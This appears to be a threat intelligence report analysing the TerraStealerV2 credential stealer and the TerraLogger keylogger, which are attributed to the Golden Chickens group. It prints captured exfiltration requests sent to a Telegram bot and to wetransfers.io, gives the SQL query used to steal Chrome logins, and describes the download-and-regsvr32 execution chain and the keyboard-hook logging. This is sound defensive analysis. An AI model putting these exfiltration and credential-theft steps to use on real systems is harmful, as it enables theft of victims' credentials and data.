New Credential Theft Tools Identified by Insikt Group

recordedfuture.com/research/terrastealerv2-and-terralogger

TerraStealerV2 and TerraLogger: Golden Chickens' New Malware Families Discovered

Executive Summary

Insikt Group identified two new malware families — TerraStealerV2 and TerraLogger — linked to the financially motivated threat actor Golden Chickens (also known as Venom Spider). Golden Chickens is known for operating a Malware-as-a-Service (MaaS) platform used by cybercriminal groups such as FIN 6, Cobalt Group, and Evilnum. The new families, observed between January and April 2025, suggest ongoing development aimed at credential theft and keylogging.

TerraStealerV2 is designed to collect browser credentials, cryptocurrency wallet data, and browser extension information. While it targets the Chrome “Login Data” database to steal credentials, it does not bypass Application Bound Encryption (ABE) protections introduced in Chrome updates after July 2024, indicating the malware code is outdated or still under development. Data is exfiltrated to both Telegram and the domain wetransfers[.]io. The stealer has been observed being distributed via multiple formats, including LNK, MSI, DLL, and EXE files, and leverages trusted Windows utilities, such as regsvr32.exe and mshta.exe, to evade detection.

TerraLogger, by contrast, is a standalone keylogger. It uses a common low-level keyboard hook to record keystrokes and writes the logs to local files. However, it does not include functionality for data exfiltration or command-and-control (C2) communication, indicating it is either in early development or intended to be a modular part of the Golden Chickens MaaS ecosystem.

The current state of TerraStealerV2 and TerraLogger suggests that both tools remain under active development and do not yet exhibit the level of stealth typically associated with mature Golden Chickens tooling. Given Golden Chickens’ history of developing malware for credential theft and access operations, these capabilities will likely continue to evolve. Organizations are advised to follow the mitigation guidance provided in this report to reduce the risk of compromise as these malware families mature.

Key Findings

- Insikt Group identified two new malware families, TerraStealerV2 and TerraLogger, attributed to the threat actor Golden Chickens. TerraStealerV2 can steal browser credentials and target cryptocurrency wallets, while TerraLogger functions solely as a standalone keylogger module.
- TerraLogger is the first observed use of a keylogging capability within malware developed by Golden Chickens.
- TerraStealerV2 lacks support for decrypting Chrome ABE-protected credentials, indicating the tool is likely outdated or still under development.
- Insikt Group observed ten distinct TerraStealerV2 distribution samples between January and March 2025 that employed varied delivery methods, including MSI, DLL, and LNK files.

Background

Golden Chickens, also tracked under the alias Venom Spider, is a financially motivated cyber threat actor known for operating a stealthy and modular malware suite under a MaaS model. Since at least 2018, the Golden Chickens MaaS suite has been deployed in campaigns targeting high-value organizations through social engineering vectors, particularly spearphishing campaigns leveraging fake job offers or resumes. Notably, the malware is used by top-tier cybercrime groups, including Russia-based FIN6 and Cobalt Group, as well as the Belarus-based Evilnum, which has been linked to damages of over $1.5 billion USD globally.

The core components of the Golden Chickens MaaS suite are VenomLNK and TerraLoader. Initial infections are typically achieved through VenomLNK, a malicious Windows shortcut file, which executes TerraLoader, a loader module responsible for deploying additional Golden Chickens malware. These modules include TerraStealer for credential harvesting, TerraTV for TeamViewer hijacking, and TerraCrypt for ransomware deployment. Additional malware families attributed to the Golden Chickens ecosystem include TerraRecon for reconnaissance, TerraWiper for data wiping, and lite_more_eggs, as depicted in Figure 1 below.

Figure 1: *Previously reported Golden Chickens malware families (Source: Quo Intelligence)*

Attribution efforts by eSentire’s Threat Response Unit have linked Golden Chickens to a threat actor known as badbullzvenom, a persona that is believed to be operated jointly by individuals from Moldova and Montreal, Canada. The threat actor’s development history demonstrates progress from a low-level forum participant to an established MaaS provider. Tools developed by Golden Chickens have been weaponized in several campaigns, including high-profile attacks on British Airways, Newegg, and Ticketmaster UK.

Between August and October 2024, Zscaler ThreatLabz observed renewed activity attributed to Golden Chickens involving the deployment of two newly identified malware families: RevC2 and Venom Loader. These tools were delivered via VenomLNK campaigns, leveraging social engineering lures like cryptocurrency payment requests and software API documentation. **Figure 2** illustrates the attack chain used to deliver RevC2.

Figure 2: *Recent Golden Chickens attack chain used to deliver RevC2 (Source: ZScaler)*

While the initial delivery vector is not known, the infection sequence begins with the execution of a VenomLNK file. This file downloads a decoy image consistent with the lure theme (in this case, software API documentation) and initiates RevC2 execution. Specifically, the LNK file leverages wmic.exe to invoke regsvr32.exe, which loads a malicious OCX payload hosted on a remote network share.

Technical Analysis

Insikt Group identified two new malware families attributed to the threat actor group Golden Chickens. The first, tracked as TerraStealerV2, is a stealer primarily targeting browser credentials, cryptocurrency wallets, and browser extensions. The second, tracked as TerraLogger, is a keylogger observed as a standalone module. The following subsections provide a detailed technical analysis of each malware family.

TerraStealerV2

Insikt Group recently identified a new stealer attributed to Golden Chickens, uploaded to Recorded Future Malware Intelligence on March 3, 2025. A Program Database (PDB) path embedded in the sample (see **Figure 3**) suggests the threat actor refers to the malware as NOK; however, Insikt Group tracks it as TerraStealerV2.

C:\Users\Admin\source\repos\NOK\NOK\x64\Release\NOK.pdb

Figure 3: *TerraStealerV2 PDB string (Source: Recorded Future)*

The stealer is intended to be delivered as an OCX file and executed via regsvr32.exe, which invokes the DllRegisterServer export function. Upon execution, DllRegisterServer first checks that the provided file has a .ocx extension and that the filename ends with a specific hard-coded character or digit (for example, 0.ocx). It then verifies that the file is being run by regsvr32.exe before proceeding, as illustrated in **Figure 4** below.

Figure 4: *Flow chart illustrating TerraStealerV2's anti-analysis checks (Source: Recorded Future)*

The malware then performs string deobfuscation using an XOR decoding routine with a hard-coded key. It collects basic host information by invoking GetUserNameA and GetComputerNameA to retrieve the local user and system names. It then determines the victim's IP address by making an HTTP request to *ifconfig[.]me*. The collected data is subsequently exfiltrated via the Telegram messaging platform to a channel named "Noterdam" using a bot token associated with "NoterdanssBot," as shown in **Figure 5**.

```
POST /< redacted >/sendMessage?chat_id=-4652754121 HTTP/1.1
Host: api.telegram.org
Accept: */*
Content-Length: 24014
Content-Type: application/x-www-form-urlencoded
chat_id=-4652754121&text=%2A%2ANew%20User%20Ran%20the%20Application%2A%2A%0A%2A%2AUsername%3A%2A%2A%20Admin%0A%2A%2APC%20Name%3A%2A
%2A%20UUHJKMQK%0A%2A%2AIP%20Address%3A%2A%2A%20%3C%21DOCTYPE%20html%3E%0A%3Chtml%20lang%3D%22en%22%3E%0A%0A%3Chead%3E%0A%20%20%20%2
0%3Cmeta%20http-equiv%3D%22Content-Type%22%20content%3D%22text%2Fhtml%3B%20charset%3DUTF-8%22%3E%0A%20%20%20%20%3Cmeta%20http-
equiv%3D%22content-style-type%22%20content%3D%22text%2Fcss%22%20%2F%3E%0A%20%20%20%20%3Cmeta%20http-equiv%3D%22content-script-
type%22%20content%3D%22text%2Fjavascript%22%20%2F%3E%0A%20%20%20%20%3Cmeta%20http-equiv%3D%22content-
language%22%20content%3D%22en%22%20%2F%3E%0A%20%20%20%20%3Cmeta%20http-equiv%3D%22pragma%22%20content%3D%22no-
cache%22%20%2F%3E%0A%20%20%20%20%3Cmeta%20http-equiv%3D%22cache-control%22%20content%3D%22no-
cache%22%20%2F%3E%0A%20%20%20%20%3Cmeta%20name%3D%22description%22%20content%3D%22Get%20my%20IP%20Address%22%20%2F%3E%0A%20%20%20%2
0%3Cmeta%20name%3D%22keywords%22%20content%3D%22ip%20address%20ifconfig%20ifconfig.me%22%20%2F%3E%0A%20%20%20%20%3Cmeta%20name%3D%2
2author%22%20content%3D%22%22%20%2F%3E%0A%20%20%20%20%3Clink%20rel%3D%22shortcut%20icon%22%20href%3D%22favicon.ico%22%20%2F%3E%0A%2
0%20%20%20%3Clink%20rel%3D%22canonical%22%20href%3D%22https%3A%2F%2Fifconfig.me%2F%22%20%2F%3E%0A%20%20%20%20%3Ctitle%3EWhat%20Is%2
0My%20IP%20Address%3F%20-%20ifconfig.me%3C%2Ftitle%3E%0A%20%20%20%20%3Cmeta%20name%3D%22viewport%22%20content%3D%22width%3Ddevice-
width%2C%20initial-
scale%3D1%22%3E%0A%20%20%20%20%3Clink%20href%3D%22.%2Fstatic%2Fstyles%2Fstyle.css%22%20rel%3D%22stylesheet%22%20type%3D%22text%2Fcs
s%22%3E%0A%20%20%20%20%3Clink%20href%3D%22https%3A%2F%2Ffonts.googleapis.com%2Fcss%3Ffa
```

Figure 5: *TerraStealerV2 exfiltrating initial data to Telegram (Source: Recorded Future)*

URL decoding the message's POST data reveals that the threat actor sends a structured notification to a Telegram channel. The notification, shown in **Figure 6**, includes an alert indicating a new user ran the application, the collected username and system name, and the raw HTML response from the *ifconfig[.]me* request.

```
**New User Ran the Application**
**Username:** Admin
**PC Name:** UUHJKMQK
**IP Address:** <!DOCTYPE html>
<html lang="en">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="content-style-type" content="text/css" />
    <meta http-equiv="content-script-type" content="text/javascript" />
    <meta http-equiv="content-language" content="en" />
    <meta http-equiv="pragma" content="no-cache" />
    <meta http-equiv="cache-control" content="no-cache" />
    <meta name="description" content="Get my IP Address" />
```

Figure 6: *URL-decoded data exfiltrated to Telegram (Source: Recorded Future)*

The malware then enumerates active processes, searching for instances of chrome.exe; if detected, it attempts to terminate the process using the TerminateProcess Windows API. This behavior is likely intended to release any file locks on Chrome's browser database files, ensuring unobstructed access during data extraction. Following this, the malware attempts to extract stored credentials and other sensitive data from Chrome and targets specific cryptocurrency wallets and browser extensions.

The Chrome browser database theft implementation copies the "Login Data" database to C:ProgramData\Temp\LoginData and then extracts saved logins using a statically linked SQLite library to execute the SQL query SELECT origin_url, username_value, password_value FROM logins. TerraStealerV2 uses SQLite version 3.46.0, which is the same version statically linked in RevC2, suggesting possible code reuse or shared development practices. However, the implementation does not bypass Chrome's ABE, meaning collected passwords will not be decrypted for any hosts with Chrome-based browsers updated since July 24, 2024. This limitation suggests that the stealer code is outdated or still under active development, as effective stealers typically incorporate ABE bypass techniques to extract decrypted credentials from modern versions of Chrome or Microsoft Edge.

Exfiltrated browser login data and informational messages are written to C:\ProgramData\file.txt and copied to %LOCALAPPDATA%\Packages\Bay0NsQIzx\p.txt when stealing operations have completed. If found, targeted browser extensions and wallets have their directories copied to %LOCALAPPDATA%\Packages\Bay0NsQIzx, and a Telegram message is sent indicating the number of crypto wallets found. The contents of %LOCALAPPDATA%\Packages\Bay0NsQIzx are subsequently compressed into an archive named output.zip, located in the same directory. The archive is then exfiltrated to the Telegram bot and a secondary C2 endpoint hosted at *wetransfers[.]io/uplo.php*, as shown in **Figure 7**. The domain wetransfers[.]io was registered on February 18, 2025, via NameCheap, Inc., and is currently hosted behind Cloudflare infrastructure.

```
POST /uplo.php HTTP/1.1
Host: wetransfers.io
Accept: */*
Content-Length: 11252
Content-Type: multipart/form-data; boundary=------------------------rUxSmqCNbtGx4auL8M41nl
--------------------------rUxSmqCNbtGx4auL8M41nl
Content-Disposition: form-data; name="zipFile"; filename="output.zip"
Content-Type: application/octet-stream
PK........3.dZ...')...).......p.txt2025-03-04 21:33:38 - Total Browsers  2
PK..?.......3.dZ...')...).....................p.txtPK..........3...L.....
--------------------------rUxSmqCNbtGx4auL8M41nl
Content-Disposition: form-data; name="pcname"
UUHJKMQK
--------------------------rUxSmqCNbtGx4auL8M41nl
Content-Disposition: form-data; name="username"
Admin
--------------------------rUxSmqCNbtGx4auL8M41nl
Content-Disposition: form-data; name="totalwallets"
0
--------------------------rUxSmqCNbtGx4auL8M41nl
Content-Disposition: form-data; name="ip"
<!DOCTYPE html>
<html lang="en">

<head>
   <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
   <meta http-equiv="content-style-type" content="text/css" />
   <meta http-equiv="content-script-type" content="text/javascript" />
   <meta http-equiv="content-language" content="en" />
   <meta http-equiv="pragma" content="no-cache" />
   <meta http-equiv="cache-control" content="no-cache" />
   <meta name="description" content="Get my IP Address" />
   <meta name="keywords" content="ip address ifconfig ifconfig.me" />
```

Figure 7: *TerraStealerV2 exfiltrating data to wetransfers[.]io. (Source: Recorded Future)*

Distribution

Insikt Group has identified multiple delivery mechanisms employed in the distribution of TerraStealerV2, including executable files (EXEs), dynamic-link libraries (DLLs), Windows Installer packages (MSI), and shortcut (LNK) files. Across all observed cases, the TerraStealerV2 OCX payload was retrieved from the URL wetransfers[.]io/v.php — a resource hosted on the same domain leveraged for data exfiltration — using either curl or PowerShell, and subsequently executed via regsvr32.exe (see **Figure 8**).

__Figure 8:__ TerraStealerV2 distribution samples attack chain (Source: Recorded Future)

Table 1 lists distribution samples, including their filenames, compilation timestamps, and the corresponding TerraStealerV2 payloads Golden Chickens have been observed deploying. One LNK file (SHA-256: 9aed0eda60e4e1138be5d6d8d0280343a3cf6b30d39a704b2d00503261adbe2a) appears to overlap with the activity cluster tracked as ClickFix. In this case, the LNK file dropped a payload masquerading as an MP4 file, which was executed via mshta.exe — a technique consistent with previously observed tactics in ClickFix campaigns.

TerraStealerV2 Distribution	Filename	Compilation/First Submitted Timestamp	TerraStealerV2 Loaded
9aed0eda60e4e1138be5d6d8d0280343a3cf6b30d39a704b2d00503261adbe2a	olala.lnk	2025-01-03 03:32 UTC	

828eee78537e49b46e34a754306ccf67f6281b77e5caeaf53132a32b6b708e5c

58b324d37bbf6d706b0fe5dbb8bca92d9628a9c394ca81121cea1690a16a3afa

1.exe

2025-01-29 05:41:34 UTC

151a83f0b54d23d84fb152ee34c4344801da937d03cc354ab8a149d64b8247b3

63fb3ed0aba87917847ad256c4e89f7b250adc6e2eac74023bb52e091ab0ef97

BundleInstaller.dll

2025-02-18 22:20:54 UTC

151a83f0b54d23d84fb152ee34c4344801da937d03cc354ab8a149d64b8247b3

4b6fa036aceb1e2149848ff46c4e1a6a89eee3b7d59769634ce9127fdaa96234

setup.msi

2025-02-19 12:44:27 UTC

151a83f0b54d23d84fb152ee34c4344801da937d03cc354ab8a149d64b8247b3

14d9d56bc4c17a971a9d69b41a4663ab7eb2ca5b52d860f9613823101f072c31

setup.msi

2025-02-19 13:22:37 UTC

d6246e4f0425b38a26298b7840729e677c4d16f084a005c46fad4904637e726a

1ed9368d5ac629fa2e7e81516e4520f02eb970d010d3087e902cd4f2e35b1752

setup.msi

2025-02-19 19:26:03 UTC

151a83f0b54d23d84fb152ee34c4344801da937d03cc354ab8a149d64b8247b3

766690a09ec97e414e732d16b99b19389a91835abc15684cc0f1aba2ca93cf98

hyhyhy.lnk

2025-02-28, 07:40 UTC

828eee78537e49b46e34a754306ccf67f6281b77e5caeaf53132a32b6b708e5c

313203cb71acd29e6cc542bf57f0e90ce9e9456e2483a20418c8f17b7afe0b57

1.exe

2025-03-03 13:51:40 UTC

a2f7d83ddbe0aeba5f5113a8adf2011dc1a7393fa4fe123e74a17dbc2a702b13

de6ed44d21e5bc9bc5c1c51f33760a5d96378308d02c2c81ef2d75e7a201fb63

1.exe

2025-03-03 13:51:40 UTC

a2f7d83ddbe0aeba5f5113a8adf2011dc1a7393fa4fe123e74a17dbc2a702b13

Table 1: *Samples used to distribute TerraStealerV2 (Source: Recorded Future)*

TerraLogger

Insikt Group identified a new keylogger associated with Golden Chickens, which was uploaded to Recorded Future Malware Intelligence on January 13, 2025. Insikt Group tracks this family as TerraLogger and has identified five distinct samples. Four samples operate as intended and contain an identical PDB string, shown in **Figure 9** below. The remaining sample does not include this PDB string and instead uses the same PDB path as TerraStealerV2 (see **Figure 3** above). This outlier appears to be a developer test, using the same string-encoding method as TerraStealerV2; however, it fails during execution due to a crash while initializing keylogger-related strings, which prevents the malware from reaching its primary entry point.

```
C:\Users\PC\Downloads\Projector\Projector\x64\Release\Projector.pdb
```

Figure 9: *TerraLogger PDB string (Source: Recorded Future)*

TerraLogger is typically delivered as an OCX file and employs the same initial execution checks as TerraStealerV2. It is intended to be executed via regsvr32.exe, which invokes the DllRegisterServer export function. Upon execution, it first checks that the provided file has a .ocx extension and that the filename ends with a hard-coded character or digit (such as 0.ocx). It then verifies that it is being run by regsvr32.exe before proceeding. If the initial execution checks pass, TerraLogger opens a file handle to log keystrokes.

Insikt Group identified multiple file paths across the five identified samples, with logs written to files such as a.txt, f.txt, op.txt, or save.txt located in the C:\ProgramData folder. The malware implements its keylogger using a commonly observed technique by installing a WH_KEYBOARD_LL hook using SetWindowsHookExA, registering the fn callback function (shown in **Figure 10**) to intercept and process message events, enabling keyboard activity to be captured.

Figure 10: *Keylogger callback function (Source: Recorded Future)*

Keystrokes are written to the open log file within the mw_log_key function. This function first retrieves the title of the current foreground window, then appends a line separator followed by the intercepted keystrokes. It contains logic to handle special characters, such as semicolons, brackets, and quotes, and checks the state of the Shift key to determine the correct character to log. If a keycode does not match any known special keys, it is written in <KEY-[keycode]> format. An example of a resulting log file is shown in **Figure 11**.

Figure 11: *Keylogger log file example (Source: Recorded Future)*

Table 2 lists the five TerraLogger keylogger samples identified and summarizes the differences across versions. Compilation timestamps indicate that the first version was built on January 13, 2025, and that the most recent sample was compiled on April 1, 2025. These samples reflect minor, incremental updates, suggesting active development. Notable changes include modifications to the file path used for storing keystroke logs and a shift in how special keys are represented — from angle-bracketed, uppercase tokens (for example, ,) to pipe-delimited, lowercase abbreviations (for example, |bck|, |sft|).

Sample	Compile Time	Save Path	Special Keys Capitalized	Special Keys Abbreviated
067421234fdd631628569bd86b6757ce4c78139c3609493c92db7b096b0c22f4	2025-01-13 14:16:35 UTC	c:\programdata\save.txt	✔	
315e0c9f0dbfa662327c57a570bcafc79b1ba816deb9647fd8da5dc6dc1e8808	2025-02-06 09:00:22 UTC	c:\programdata\save.txt	✔	
f06097b6f4bf86ad00c8f7115d538823a73e531b0f06b66f63f9c70e47f4ea98	2025-03-11 14:39:27 UTC	c:\programdata\op.txt	✔	
852879a9832cd13cbc9510503abf9b0906bb5e08e5ffae74381aaca3c502d826				

2025-03-11 14:42:11 UTC

c:\programdata\a.txt

✔

81117772d2b1997f4e280c3add3b56c128444ba05ec4eaaf2293ef8ff1c76257

2025-04-01 15:54:57 UTC

c:\programdata\f.txt

✔

Table 2:*Comparison of standalone TerraLogger sample changes (Source: Recorded Future)*

To read the entire analysis, click here to download the report as a PDF.